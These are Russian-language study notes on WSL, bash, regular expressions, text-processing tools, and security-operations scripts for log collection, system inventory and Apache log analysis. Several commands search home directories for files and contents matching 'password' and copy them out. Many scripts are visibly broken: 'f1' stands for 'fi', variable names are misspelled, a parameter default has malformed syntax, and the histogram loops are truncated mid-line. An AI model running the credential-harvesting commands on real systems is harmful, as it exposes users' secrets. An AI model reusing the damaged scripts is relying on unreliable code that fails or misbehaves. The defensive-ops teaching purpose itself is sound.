wsl
0. Установка WSL (всё одной командой) wsl —install 1. WSL 1 или WSL 2? wsl —set-default-version 2 | | WSL 1 | WSL 2 | |--------------------|---------------------------|-------| | Ядро | Эмуляция | Реальное Linux-ядро | Производительность | Быстрее на Windows-диске | Лучше на Linux-утилитах | Совместимость | Ограниченная | Почти 100% | | Поддержка Docker | x | y | GUI-приложения | x | y (в Windows 11) 2. Работа с файлами и системами Доступ к Windows-дискам: /mnt/c/Users/... Поддержка Git, Python, Node, npm, pip, apt 3. Можно запускать команды Windows внутри Linux и наоборот: notepad.exe test.txt 4. Настройка терминала Установи Windows Terminal из Microsoft Store — это красивый и мощный терминал с вкладками, шрифтами и темами. 5. Обновление WSL и Linux-дистрибуции wsl —update wsl —shutdown 6. Внутри Ubuntu: sudo apt update && sudo apt upgrade -y 7. Установка других дистрибутивов WSL поддерживает Ubuntu, Debian, Kali, Arch, SUSE и другие: wsl —list —online wsl —install —distribution Debian 8. Поддержка GUI и Docker В Windows 11 WSL 2 поддерживает графические приложения Linux из коробки (через WSLg). Docker Desktop работает напрямую с WSL 2 — больше не нужны громоздкие VM. 9. Дополнительные фичи .wslconfig для настройки ресурсов (CPU, RAM, swap) Автоматический mount директорий Работа с systemd, crontab, background-сервисами (в новых версиях)
Основы:
Командная строка - это общий термин, относящимся к средствам, передающим команды в интерактивную систему компьютера. Создать директорию: mkdir -p /tmp/fff Тип файла: type -t if type -t pwd type -t ls Посмотреть какие команды встроены в интерпретатор: compgen -k compgen -c compgen -b Стандартный ввод / вывод / ошибки 0 - Стандартный ввод (stdin) — поток данных, который программа получает на вход (по умолчанию — клавиатура). 1 - Стандартный вывод (stdout) — поток, в который программа записывает результаты (по умолчанию — терминал). 2 - Стандартный поток ошибок (stderr) — поток, куда выводятся сообщения об ошибках (по умолчанию — терминал). Перенаправление stdout: Оператор > позволяет записать вывод команды в файл. Если файл существует, он будет перезаписан. ls > output.txt Оператор >> добавляет вывод в конец файла, не перезаписывая его. echo "Hello" >> output.txt Чтобы перенаправить поток ошибок в файл, используется 2>. ls /nonexistent 2> errors.txt 2>> добавляет ошибки в конец файла: ls /nonexistent 2>> errors.txt Игнорирование ошибок: command 2> /dev/null Запись вывода и ошибок в один файл: command > output.txt 2>&1 Раздельная запись stdout и stderr: command > output.txt 2> errors.txt Отправка всех данных в «черную дыру»: command > /dev/null 2>&1 Сделать все одной строкой: prog < data.in > result.out 2> errr.msg Иногда требуется что бы программа выводила ошибки и вывод в один файл (обычный вывод программы) prog < data.in > result.out 2>&1 Выполнение команд в фоновом режиме: ping 192.168.10.56 > ping.log & ping 192.168.10.56 &> ping.log & jobs fg 1 crtrl+z Скрипты #!/bin/bash - шабанг, первая строка любого скрипта на баш #!/usr/bin/env bash - или такой шабанг(первая строка) позволит найти путь для баша bash myscript chmod 755 myscript ./myscript
Основы работы:
echo "Hello world"
printf "Hello world\n"
Переменные:
MYVAR=textmyvar
echo $MYVAR
Если вы хотите присвоить переменной и сохранить последовательность слов, пробелов и спец символов:
MYVAR='here is a longer set of worlds'
OTHVAR="either double or single quotes will work"
Двойные кавычки позволит выполнять другие элементы внутри строки:
FIRSTVAR=beginning
SECONDVAR="this is just the $FIRSTVAR"
echo $SECONDVAR
echo ${SECONDVAR}
!!! Помните что при использовании двойных кавычек (") любые замены, начинающиеся с $,
все равно выполняются, а если значения находятся внутри одинарных кавычек ('), никаких замен не будет.
Сохранить вывод, полученный командной оболочки, с помощью символа $():
CMDOUT=$(pwd)
Позиционные параметры:
$# - возвращает общие кол-во параметров
$0 - имя скрипта
$1 - первый параметр
$2 - второй параметр
$3 - третий параметр
#!/bin/bash
#echoparms.sh
echo $#
echo $0
echo $1
echo $2
echo $3
Условия:
Успешное выполнение скрипта возвращает 0.
Возвращаемое значение 0 считается success или true.
Для того что бы увидеть как выполнилась команда, нужно посмотреть переменную $?:
echo $?
Пример условий if:
if cmd
then
some cmds
else
other cmds
fi
Если каталог /tmp есть(в него возможен переход) то будет возращено 0 и выполнена команда ls:
if cd /tmp
then
echo "her eis what is in /tmp:"
ls -l
fi
Пример конвейера if:
if ls | grep pdf
then
echo "found more pdf"
else
echo "no found pdf"
fi
Но есть нюанс если использовать с wc в конвейере:
ls | grep pdf | wc
Будет всегда возращено 0
Команда test и [, проверка атрибутов файлов или сравнения значений.
Проверка файлов и каталогов:
-d - проверка существования каталога
-у - проверка существования файла
-r - проверка существования файла и доступен ли он для чтения
-w - проверка существования файла и доступен ли файл для записи
-x - проверка существования файла и можно ли файл выполнить
Проверка существования файла:
if [[ -e $FILENAME ]]
then
echo $FILENAME exists
fi
Сравнение файлов или переменных:
-eq - тест на равенство
-gt - проверка, больше ли одно число, чем другое
-lt - проверка, меньше ли одно число, чем другое
Проверка меньше ли $VAL чем $MIN
if [[ $VAL -lt $MIN ]]
then
echo "value is to small"
fi
!!! Внимание, да можно использовать знаки больше или меньше, но эффект может быть не ожиданым
!!! Так что рекомендуется использовать -eq, -gt, -lt
!!! Но если хочется, то можно использовать специальную математическую конструкцию из скобок (( ))
!!! Оператор $ не требуется в этой конструкции
if (( VAL < 12 ))
then
echo "value $VAL is to small"
fi
Последовательное выполнение команд с использование оператора ;
Пример:
cd $DIR; ls
Специальная команда &&, если первая команда выполнилась успешно, то дальше будет выполнятся следующая команда:
cd /etc/ && ls /etc && ls /etc/ | wc
Специальная команда ||, если первая команда не выполнилась успешно то выполнится следующая команда.
Команды [[ можно выполнять без конструкции if
[[ -d $DIR ]] && ls "$DIR"
Аналог вот такой записи:
if [[ -d $DIR ]]
then
ls "$DIR"
fi
Вот еще примеры:
[[ -d $DIR ]] || echo "err: no such directory: $DIR"; exit
[[ -d $DIR ]] || { echo "err: no such directory: $DIR" ; exit; }
Циклы while ( пока i меньше 1000, выполняем цикл)
i=0
while (( i < 1000))
do
echo $i
let i++
done
Цикл while выполняет команды как часть своего условия:
while ls | grep -q pdf
do
echo -n 'there is a file with pdf in lts name here:'
pwd
cd ..
done
Циклы for:
for ((i=0; i < 100; i++))
do
echo $i
done
Еще for:
./args.sh bash is fun
for ARG
do
echo here is an argument: $ARG
done
Еще far список:
for VAL in 20 3 dog peach 7 vanilla
do
echo $VAL
done
Еще список можно генерировать используя другие программы, пример:
for VAL in $(ls | grep pdf) {0..5}
do
echo $VAL
done
Функции и свои функции:
function myfun ()
{
# это тело функции
}
Выполнение своей функции:
myfun
Шаблоны подстановки и перечисление / wildcarding
Символ "звездочка" (*) является шаблоном для любого количества любых символов в именах файлов и даже для их отсутствия.
Единственный символ, который не удовлетворяет этому шаблону, — лидирующая точка в именах скрытых файлов.
Таким образом, подставив звездочку в качестве аргумента команде echo, мы либо увидим в результате саму звездочку,
если в каталоге нет файлов, либо оболочка подставит команде echo имена всех файлов в каталоге в командную строку.
Имеются особенные имена файлов, начинающиеся с точки, например, .bashrc.
Такие файлы называются скрытыми, т. к. их имена не выводятся командой ls без специальных опций.
Шаблоном для имен скрытых файлов является .* (точка и звездочка).
Вообще, любые шаблоны для скрытых файлов должны начинаться с символа "точка".
Символ ? заменяет один символ в имени файла, который должен находиться в той позиции, где находится знак вопроса.
В примере "echo .??????" получен список скрытых файлов (имена начинаются с точки), в именах которых после точки имеется шесть любых символов.
Для того чтобы указать допустимый диапазон символов в шаблоне, необходимо использовать квадратные скобки, а в них — требуемый диапазон.
Например, [0-9] — шаблон подходит для любых цифр, а [a-zA-Z], шаблон для букв английского.
echo .[bcd]*
Если необходимо указать набор символов, не входящих во множество, следует установить знак восклицания после открывающей скобки.
Например, [!abc] — множество любых символов, кроме a, b или c.
Очень удобен, хотя и не относится к шаблонам, механизм перечисления Bash.
Он позволяет задать множество вариантов, которое должна перебрать оболочка, составляя последовательно все варианты, заданные в фигурных скобках
echo .bash{rc,_profile}
точка . - любой один символ
? - любой один символ
* - любое кол-во символов
а* - a, ab, abc и aecjejich
^ - начало строки
$ - конец строки
^а - Любое «а», находящееся в начале строки
*а$ - Любое «а», находящееся в конце строки
а.с - Трехсимвольные строки, начинающиеся с «а» и заканчивающиеся на «с»
[] - диапазон
[^a] - прикол в таких скобках с "^" все что угодно только не "a"
[^0-9]
[^[:alnun:]]
[bcf]at - bat, cat или fat
[a-d]at - aat, bat, cat, dat, но не Aat, Bat и т. д.
[A-D]at - Aat, Bat, Cat и Dat, но не aat, bat и т. д.
1[3-5]7 - 137,147 и 157
[0-9] [[:digit:]] \d \D
[a-z]
[A-Z]
[a-zA-Z0-9]
[[:alnun:]] \w \W
[[:space:]] \s \S
[A-Z] - большие буквы
[0-9] - цифры
[a-z] - мелкие буквы
[A-Za-z]
www\.[a-z]*\.com
[:alnum:] - алфавитно цифровой
[:alpha:] - Буквенный
[:ascii:] - ASCII
[:blank:] - пробел и символ табуляции
[:ctrl:] - управляющий символ
[:digit:] - число
[:graph:] - все что угодно, кроме управляющих символов и пробелов
[:lower:] - символы в нижнем регистре
[:print:] - все кроме управляющих символов
[:punct:] - символы пунктуации
[:space:] - пробелы, включая разрывы строк
[:upper:] - символы в верхнем регистре
[:world:] - буквы, цифры и символы подчеркивания
[:xdigit:] - шестнадцатеричный символ
d{n,m} - квантификатор
{} - последовательность
touch {6,7,8}.txt - последовательно создаст файлы 6.txt, 7.txt, 8.txt
grep -E '[0-9]{1,3}'
\tHello - Символ табуляции, предшествующий слову hello
\[tT][xX][Tt] - .txt, .TXT, .TxT или другие сочетания на основе изменения регистра
\n - новая строка
\r - символ возврата
Мата символ *
Некоторые мета символы сами по себе не соответствуют ничему, но изменяют значение предыдущего символа.
Один из таких символов, это * (звездочка), который используется для сопоставления нулевому или большему
числу повторений предшествующего символа. Заметьте, это значит, что * имеет другое значение в регулярках,
нежели в глоббинге. Вот несколько примеров, и обратите особое внимание на те случаи где сопоставление
регулярных выражений отличается от glob-подстановок:
ab*c совпадает с «abbbbc», но не с «abqc» (в случае glob-подстановки, обе строчки будут удовлетворять шаблону. Вы уже поняли почему?)
ab*c совпадает с «abc», но не с «abbqbbc» (опять же, при glob-подстановке, шаблон сопоставим с обоими строчками)
ab*c совпадает с «ac», но не с «cba» (в случае глоббинга, ни «ac», ни «cba» не удовлетворяют шаблону)
b[cq]*e совпадает с «bqe» и с «be» (glob-подстановке удовлетворяет «bqe», но не «be»)
b[cq]*e совпадает с «bccqqe», но не с «bccc» (при глоббинге шаблон точно так же совпадет с первым, но не со вторым)
b[cq]*e совпадает с «bqqcce», но не с «cqe» (так же и при glob-подстановке)
b[cq]*e удовлетворяет «bbbeee» (но не в случае глоббинга)
.* сопоставим с любой строкой (glob-подстановке удовлетворяют только строки начинающиеся с ".")
foo.* совпадет с любой подстрокой начинающийся с «foo» (в случае glob-подстановки
этот шаблон будет совпадать со строками, начинающимися с четырех символов «foo.»)
Итак, повторим для закрепления: строчка «ac» подходит под регулярное выражение «ab*c» потому,
что звездочка также позволяет повторение предшествующего выражения (b) ноль раз. И опять, ценно отметить для себя,
что мета символ * в регулярках интерпретируется совершенно иначе, нежели символ * в glob-подстановках.
Регулярные выражения:
grep -c - вывести кол-во строк, соответствующего шаблону -E - включить расширенное регулярное выражение -f - читать шаблон поиска, находящийся в предоставленном файле -i - игнорировать регистр символов -l - вывести только имя файла и путь, по которому был найден шаблон -n - вывести номер строки файла, в которой был найден шаблон -P - включить механизм регулярных выражений Perl -R, -r - выполнить рекурсивный поиск подкаталогов Пример: grep -R -i 'password' /home egrep это grep -E Пример текса file.txt для работы с grep: 1 Two roads diverged in a yellow wood, 2 And sorry I cloud not travel both 3 And be one traveler, long I stood 4 And looked down one as far as I could 5 To where it bent in the undergrowth; 6 7 Excerpt from The Road Not Taken by Robert Frost 8 User: XTjon 9 XWING model 7 10 an an an Метасимвол . В регулярных выражения точка (.), представляет собой один символ подстановки grep 'T.o' file.txt Если требуется отобразить точку, не как любой символ, нужно перед ним поставить обратный слеш (\), так (\.) Метасимвол ? В регулярном выражении знак вопроса (?) делает любой предшествующей ему символ необязательным, символ сопоставляется один раз, а дальше игнорируется. egrep 'T.?o' file.txt Метасимвол * В регулярных выражениях звездочка (*) - это специальный символ, который соответствует предыдущему элементу неограниченное кол-во раз. grep 'T.*o' file.txt Метасимвол + Метасимвол плюс (+) работает так же, как и *, за исключением того, что предыдущий ему элемент должен встретиться хотя бы однажды. egrep 'T.+o' file.txt Группирование Для группирования символов можно использовать скобки. egrep 'And be one (stranger|traveler), long I stood' file.txt Квадратные скобки и классы символов [abc] - соответствует только символу a, или b, или c [1-5] - соответствует цифрам от 1 до 5 [a-zA-Z] - соответствует любым символа от a до z [0-9+-*/] - соответствует числам или любым четырем указанным математическим символам [0-9a-fA-F] - соответствует шестнадцатеричному символу \s - пробельный символ \S - не пробельный символ \d - цифровой символ \D - не цифровой символ \w - слово \W - не слово \x - шестнадцатеричное число (например, 0x5F) !!! Обратите внимания эти сокращения работаю только с опцией -P, Perl grep -P '\d' file.txt [:alnum:] - алфавитно цифровой [:alpha:] - Буквенный [:ascii:] - ASCII [:blank:] - пробел и символ табуляции [:ctrl:] - управляющий символ [:digit:] - число [:graph:] - все что угодно, кроме управляющих символов и пробелов [:lower:] - символы в нижнем регистре [:print:] - все кроме управляющих символов [:punct:] - символы пунктуации [:space:] - пробелы, включая разрывы строк [:upper:] - символы в верхнем регистре [:world:] - буквы, цифры и символы подчеркивания [:xdigit:] - шестнадцатеричный символ grep 'X[[:upper:][:digit:]]' file.txt Обратные ссылки: tags.txt Commmand line isgreat! Пример вытаскиваем код: egrep '<([A-Za-z]*)>.*\1>' tags.txt Якоря и границы слов: Символ каретки (^) предназначен для привязки шаблона к началу строки. Символ доллар $ используется для привязки шаблона к концу последовательности строки. Сайты для работы с регулярками: http://www.rexegg.com https://regex101.com https://www.regextester.com http://www.regular-expressions.info
cut
cut - используется для извлечения частей файла -c - символ для извлечения -d - символ, используемый в качестве разделителя полей, по умолчанию символ табуляции. -f - поля для извлечения Пример: cutefile.txt 12/05/2025 10.33.66.3 test.html 12/05/2025 17.14.13.3 loging.html cut -d' ' -f2 cutefile.txt
file
file - используется для идентификации типа файла -f - читать список файлов для анализа из данного файла -k - не останавливается на первом совпадении, перечислить все -z - просмотреть сжатые файлы Пример: file filename.un
head
head - отобразит несколько первых строк или бит, по умолчанию 10 -n - кол-во строк -c - количество байтов
reg
reg - используется в winpws, для работы с реестром add - добавить запись в реестор export - копировать указанные записи реестра в файл query - возвратить список подразделов ниже указанного пути Пример: reg query HKEY_LOCAL_MACHINE
wevtutil
wevtutil - просмотр системных журналов в windows el - перечислить доступные журналы qe - запросить события журнала Общие команды: /c - максимальное событие для чтения /f - форматирование вывода в виде текста или XML /rd - если установлено в true то сначала прочитать свежие события Примеры wevtutil el wevtutil qe System //c:1 //rd:true wevtutil qe System /c:1 /rd:true
Собираем файлы журнала Linux
tar -czf ${HOSTNAME}_logs.tar.gz /var/log
Параметры:
-c - create - создание для создания архивного файла
-z - zip - архивирование
-f - file - указание имени файла
${HOSTNAME} - переменная баш, текущие имя хоста
Логи:
/var/log/apache2/ - журналы доступа и ошибок для вебсервера apache2
/var/log/auth.log - сведения о входе пользователя в систему, привилегии доступа и удаленная проверка подлинности
/var/log/kern.log - журнал ядра
/var/log/messages - общая не критическая системная информация
/var/log/syslog - общие системные журналы
конфиги:
/etc/syslog.conf
/etc/rsyslog.conf
Собираем файлы журналов Windows
Для скрипта на баш используется git bash.
Пример скрипта:
#!/bin/bash
#
# winlogs.sh
# Описание:
# Собираем логи windows
# Использование:
# winlogs.sh [-z]
# -z заархивировать вывод
#
TGZ=0
if (( $# > 0 ))
then
if [[ ${1:0:2} == '-z']]
then
TGZ=1
shift
f1
SYSMAN=$(hostname)
LOGDIR=${1:-/tmp/${SYSMAN}_logs}
mkdir -p $LOGDIR
cd ${LOGDIR} || exit -2
wevtutil el | while read ALOG
do
ALOG="${ALOG%$'\r'}"
echo "${ALOG}:"
SAFNAM="${ALOG// /_}"
SAFNAM="${SAFNAM//\//-}"
wevutil epl "$ALOG" "${SYSNAM}_${SAFNAM}.evtx"
done
if (( TGZ == 1 ))
then
tar -czvf ${SYSNAM}_logs.tgz *.evtx
fi
Сбор информации о системе
linux bash windows git bash Что? uname -a uname -a Показать информацию о версии ОС cat /proc/cpuinfo systeminfo Вывести сведения о системном оборудовании и связанную информацию ifconfig ipconfig Вывести информацию о сетевом интерфейсе route route print Показать таблицу маршрутизации arp -a arp -a Вывести таблицу ARP ( протокол определения адреса) netstat -a netstat -a Отобразить сетевые подключения mount net share Вывести информацию о файловых системах ps -e tasklist Отобразить запущенные процессы файл cmds.txt # Linux Command | MSWin Bash | XML tag | Purpose #-----------------+-------------+-----------+------------------ uname -a | uname -a | uname | O.S. ver cat /proc/cpuinfo | systeminfo | sysinfo | sysinfo ifocnfig | ipconfig | interface | Network info ip -a | ipconfig | interface | Network info route | route print | nroute | routing table arp -a | arp -a | narp | arp table netstat -a | netstat -a | netstat | network connection ss -a | netstat -a | netstat | network connection mount | net share | diskinfo | mounter disk ps -e | task list | processes | running processes
Сценарий определения типа OS
getlocal.sh
#!/bin/bash
#
# Описание:
# Собираем основную информацию о системе и сбрасываем в файл
# Использование:
# getlocal.sh < cmds.txt
# cmds < этот файл со списком команд для выполнения
#
# SepCmds - отделение команд от строки ввода
function SepCmds()
{
LCMD=${ALINE%%|*}
REST=${ALINE#*|}
WCMD=${REST%%|*}
REST=${RST#*|}
TAG=${REST%%|*}
if [[ $OSTYPE == "WsWin" ]]
then
CMD="$WCMD"
else
CMD="$LCMD"
fi
}
function DumpInfo()
{
printf 'systeminfo host="%s" type="%s"' "$HOSTNAME" "$OSTYPE"
printf ' date="%s" time="%s">\n' "$(date '+%F')" "$(date '+%T')"
readarray CMDS
for ALINE in "${CMDS[@]}"
do
# игнорировать комментарии
if [[ ${ALINE:0:1} == '#' ]] ; then continue ; fi
SepCmds
if [[ ${CMD:0:3} == N/A ]]
then
continue
else
printf "<%s>\n" $TAG
$CMD
printf "%s>\n" $TAG
fi
done
printf "\n"
}
OSTYPE=$(./osdetect.sh)
HOSTNM=$(hostname)
TMPFILE="${hostname}.info"
# сбор информации
DumpInfo > $TMPFILE 2>&1
Сбор данных о реестре Windows
Экспорт всего реестра:
regedit //E ${HOSTNAME}_reg.bak
Экспорт раздела:
reg export HKEY_LOCAL_MACHINE $(HOSTNAME)_hklm.bak
Поиск файлов в системе:
find
grep
find /home -name '*password*'
find /home -name '*password*' 2>/dev/null
Поиск скрытых файлов в linux:
find /home -name '.*'
Поиск скрытых файлов в windows:
dir c:\ /S /A:H
Поиск и запуск команды:
find /c -exec attrib '{}' \; | egrep '^.{4}H.*'
Найти и показать путь к файлу:
find . -exec attrib '{}' \; | egrep '^.{4}H.*' | cut -c22-
Поиск по размеру файла:
find /home -size +5G
Чтобы определить самые большие файлы в системе:
find /type f -exec ls -s '{}' \; | sort -n -r | head -5
Предположим, что вы только что выполнили следующую команду:
find / -type f -exec ls -s '{}' \;
Затем чтобы снова запустить ее или передать в конвейер, вы можете использовать символы !!:
!! | sort -n -r | head -5
Можно найти большой файл не используя find:
ls / -R -s | sort -n -r | head -5
Поиск по времени:
Менее 5 мин:
find /home -nmin -5
Менее 24 часов:
find /home -mtime -1
Менее 48 часов:
find /home -mtime +2
Доступ к файлу менее 24 часов
find /home -atime -1
Для поиска файлов в каталоге, доступных менее 24 часов и копирования каждого файла в текущий каталог "./":
find /home -type f -atime -1 -exec cp '{}' ./ \;
Поиск контента:
Найти строку 'password':
grep -i -r /home -e 'password'
Комбинирование команды find и grep:
find /home -type f -exec grep 'password' '{}' \; -exec cp '{}' . \;
Поиск по типу файла:
file title.png Сценарий typesearch.sh #!/bin/bash # Описание: # Поиск в файловой системе файлов указанного типа. # Выводим путь, когда найдем # Использование: # typesearch.sh [-c dir] [-i] [-R|r]# -c Копировать найденные файлы в каталог # -i Игнорировать регистр # -R|r Рекурсивный поиск подкаталогов # Шаблон типа файла для поиска # Путь для начала поиска DEEPPORNOT="-maxdepth 1" # только текущий каталог; по умолчанию while getopts 'c:irR' opt; do case "${opt}" in c) # копировать найденные файлы в указанный каталог COPY=YES DISTDIR="$OPTARG" ;; i) # игнорировать регистр при поиске CASEMATCH='-1' ;; [Rr]) # рекурсивно unset DEEPPORNOT;; *) # неизвестный/неподдерживаемый вариант # при получении ошибки mesg от gretops просто выйти exit 2;; esac done shift $((OPTIND -1)) PATTERN=${1;-PDF document} STARTDIR=${2:-.} # по умолчанию начать здесь find $STARTDIR $DEEPORNOT -type f | while read FN do file $FN | egrep -q $CASEMATCH "$PATTRERN" if (( $? ==0 )) # найден один then echo $FN if [[ $COPY ]] then cp -p $FN $DESTDIR fi fi done
Поиск по хеш-значению
hashsearch.sh #!/bin/bash # Описание: # В указанном каталога выполняем рекурсивный поиск # файла по заданному SHA-1 # Использование: # hashsearch.sh# hash - значение хеша SHA-1 разыскиваемого файла # directory - каталог для поиска HASH=$1 DIR=${2:-.} # cmd, по умолчанию это сдесь # конвертируем путь в абсолютный function mkabspath() { if [[ $1 == /* ]] then ABS=$1 else ABS="$PWD/$1" fi } find $DIR -type f | while read fn do THISONE=$(sha1sum "$fn") THISONE=${THISONE%% *} if [[ $THISONE == $HASH ]] then mkabspath "$fn" echo $ABS fi done
Обработка данных:
sed
tail
tr
файл awkuser.txt:
Mike Jones
John Smith
Kathy Jones
Jane Kennedy
Tim Scott
awk - фактически комбайн для обработки текста
-f - читать указанный файл
$0 - вся строка
$1 - первое слово
$2 - второе слово
$N - и т.д.
Пример:
awk '$2 == "jones" {print $0}' awkusers.txt
файл username.txt:
1,jdoe
2,puser
3,jsmith
файл accesstime.txt:
0745,file1.txt,1
0830,file3.txt,2
0830,file22.txt,3
join - объединяет строки из двух фалов с общими полями
-j - использовать указанный номер поля. Поля начинаются с 1
-t - символ, который будет использоваться в качестве разделителя
--header - использовать в качестве заголовка
Пример:
join -1 3 -2 1 -t, accesstime.txt username.txt
файл ips.txt
ip,OS
10.0.4.2,Windows 8
10.0.4.35,Ubuntu 16
10.0.4.107,macOS
10.0.4.145,macOS
sed - редактирование и замена текста в потоке файлов
Пример:
sed 's/10\.0\.0.\.35/10.0.4.27/g' ips.txt
tail - вывод последних строк файла
-f - выполнять постоянный мониторинг файлов и выходных строк по мере их добавления.
-n - вывести указанное кол-во строк
Пример:
tail -n 1 ips.txt
tr - преобразование одного символа в другой или отображения замещающего символа.
-d - удалить указанные знаки из входного потока
-s - уплотнить, то есть заменить повторяющиеся экземпляры символа одним экземпляром
Пример:
tr '\\:' '/|' < infile.txt > outfile.txt
Пример файла csvex.txt
"name","username","phone","password hash"
"john Smith", "jsmith","545-555-1212",234u923923u9u9fho8fgw87g8w7
"Bill Smith", "bsmith","555-555-1512",s99ds9uewurwyroyrdsyhfdishf
"Jane Smith", "jsmith","155-555-1212",qwepiju0sdfjm238rh30r8j2p0w
"john LAH", "bjones","525-555-1212",odjfohsohfio7bhbfsodsbodfsbds
"Yohn Ymith", "ymith","355-555-1212",kdskldfsdshuidyusbhudshdfsy3
cut - используется для извлечения из входного файла или потока,
полей разделенных указанным символом. (попробуйте echo 'abc def ghi jkl' | cut -d ' ' -f2,2 прим. пер.)
cut - показать содержимое вырезав символы
cut -c 1,4,7 name.txt - показать содержимое вырезав символы
cat /etc/passwd | cut -f 1,3,6 -d ':' - показать содержимое 1,3,6 столбика вырезав 2,4,5 разделенные символом ':'
Примеры:
cut -d',' -f1 csvex.txt
cut -d',' -f1 csvex.txt | tr -d '"'
cut -d',' -f1 csvex.txt | tr -d '"' | tail -n +2
awk -F "," '{print $4}' csvex.txt
grep "$(awk -F "," '{print $4}' csvex.txt)" passwords.txt
cut -d',' -f3 csvex.txt | cut -c2-13 | tail -n +2
grep -o '.*<\/firstName>' book.xml
grep -Pzo '(?s).*?<\/author>' book.xml
grep -Po '.?<\/firstName>' book.xml | sed 's/<[^>]*>//g'
grep -o '"firstName": ".*"' book.json
grep -o '"firstName": ".*"' book.json | cut -d " " -f2 | tr -d '\"'
jq - это мощный легкий и JSON-анализатор
jq '.title' book.json
jq '.authors[].firstName' book.json
Агрегирование данных:
find /data -type f -exec grep '{}' -e 'ProductionWebServer' \;
-exec cat '{}' >> ProductionWebServerAgg.txt \;
join -t, -2 2 ips.txt user.txt
Ссылка:
https://rapidcyberops.com/
Анализ данных:
sort - сортировка текстового файла -r - сортировка по убыванию -f - игнорировать регистр -n - использовать числовой порядок 1, 2, 3 и т.д. -k - сортировать на основе подмножества данных (ключа) в строке -o - записать вывод в указанный файл -u - фильтр уникальности Пример: sort -k 3 file1.txt sort -k 2.5,2.7 file1.txt uniq - отфильтровать повторяющиеся строки -c - вывести, сколько раз повторяется строка -f - перед сравнением проигнорировать указанное кол-во полей -i - игнорировать регистр букв
Ознакомление с журналом доступа к веб серверу Apache2
CLF - Combined Log Format
cat access.log
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET / HTTP/1.1" 200 3380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /icons/openlogo-75.png HTTP/1.1" 200 6040 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /favicon.ico HTTP/1.1" 404 492 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
Что мы видим:
Поле Значение Описание
1 192.168.15.53 ip хоста который запросил страницу у веб сервера
2 - идентификатор протокола RFC 1413 (-, если его нет)
3 - идентификатор пользователя с проверкой подлинности HTTP (-, если его нет)
4 [11/Jul/2025:15:09:25 +0300] Смещение даты, времени и GMT (часовой пояс)
5 GET / Страница которая была запрошена
6 HTTP/1.1 Версия протокола HTTP
7 200 Код состояния, возвращаемый веб-сервер
8 3380 Размер возвращаемого файла в байтах
9 - Ссылающаяся страница
10 Mozilla/5.0 Браузер
Коды:
200 - OK - Хорошо
401 - Unauthorized - Не авторизован \ не предоставляется
404 - Page Not Found - Страница не найдена
500 - Internal Server Error - Внутренняя ошибка сервера
502 - Bad Gateway - Плохой, ошибочный шлюз
Ссылки:
https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
https://httpd.apache.org/docs/2.4/logs.html
cat /var/log/apache2/access.log | sort -k2.1 -rn | head -15
Подсчет количества обращений к данным:
cat countem.sh
#!/bin/bash -
#
# Описание:
# Подсчет количества экземпляров элемента с помощью bash
# Использование:
# countem.sh < inputfile
declare -A cnt # ассоциативный массив
while read id xtra
do
let cnt[$id]++
done
# вывести то, что мы подсчитали
# для каждого ключа в ассоциативном массиве в виде (ключ, значение)
for id in "${!cnt[@]}"
do
printf '%d %s\n' "${cnt[$id]}" "$id"
done
Пример countem.awk:
# countem.awk
# Описание:
# Подсчет количество экземпляров элемента с помощью команды awk
# Использование:
# countem.awk < inputfile
awk '{ cnt[$1]++ }
END {for (id in cnt) {
printf "%d %s\n", cnt[id], id
}
}'
Оба сценария хорошо будут работать в конвейере:
cut -d' ' -f1 logfile | bash countem.sh
bash countem.sh < logfile
awk '$9 == 404 {print $1}' access.log | bash countem.sh
cut -d' ' -f1 access.log | bash countem.sh | sort -rn
P.S. Но все это круто конечно, юзать скрипты, но проще воспользоваться программами linux
cut -d' ' -f1 access.log | sort | unic -c | sort -rn
cut -d' ' -f1 access.log | sort -urn
Суммирование чисел и данных:
cat summer.sh
#!/bin/bash -
#
# Описание:
# Суммировать итоговое значение поля 2 для каждого уникального поля 1
# Использование: ./summer.sh
# Формат ввода:
declare -A cnt # ассоциативный массив
while read id count
do
let cnt[$id]+=$count
done
for id in "${!cnt[@]}"
do
printf "%-15s %8d\n" "${id}" "${cnt[${id}]}"
done
Использование:
cut -d' ' -f1,10 access.log | bash summer.sh | sort -k 2.1 -rn
Скрипт отображение данных в виде гистограммы:
histogram.sh
#!/bin/bash -
#
# Описание:
# Создание горизонтальной гистограммы с указанным данными
# Использование: ./historgram.sh
# Формата ввода: label value
function pr_bar()
{
local -i i raw maxraw scaled
raw=$1
maxraw=$2
((scaled=(MAXBAR*raw)/maxraw))
# гарантированный минимальный размер
((raw > 0 && scaled ==0)) && scaled=1
for((i=0; i max )) && max=$val
done
# масштабировать и вести
for labl in "${!RA[@]}"
do
printf '%-20.20s ' "$labl"
pr_bar ${RA[$labl]} $max
done
Пример:
cut -d' ' -f1.10 access.log | bash summer.sh | bash histogram.sh
Скрипт отображение данных в виде гистограммы для старых систем и macos:
histogram_plain.sh #!/bin/bash - # # Описание: # Создание горизонтальной гистограммы с указанным данными # Использование: ./histogram_plain # Формата ввода: label value declare -a RA_key RA_val declare -i max ndx max=0 maxbar=50 ndx=0 while read labl val do RA_key[$ndx]=$labl RA_value[$ndx]=$val # сохранить наибольшее значение; для масштабирования (( val > max )) && max=$val let ndx++ done # масштабировать и вывести for ((j=0; jМониторинг журналов в режиме реального времени:
tail -f /var/log/apache2/access.log tail -f /var/log/apache2/access.log | grep '10.0.0.152' tail -f /var/log/apache2/access.log | egrep -i 'HTTP/.*" 404' cd /var/log/apache2/ tail -f access.log | egrep --line-buffered 'HTTP/.*" 404' | cut -d' ' -f4-7Обнаружение вторжения с помощью журнала apache2:
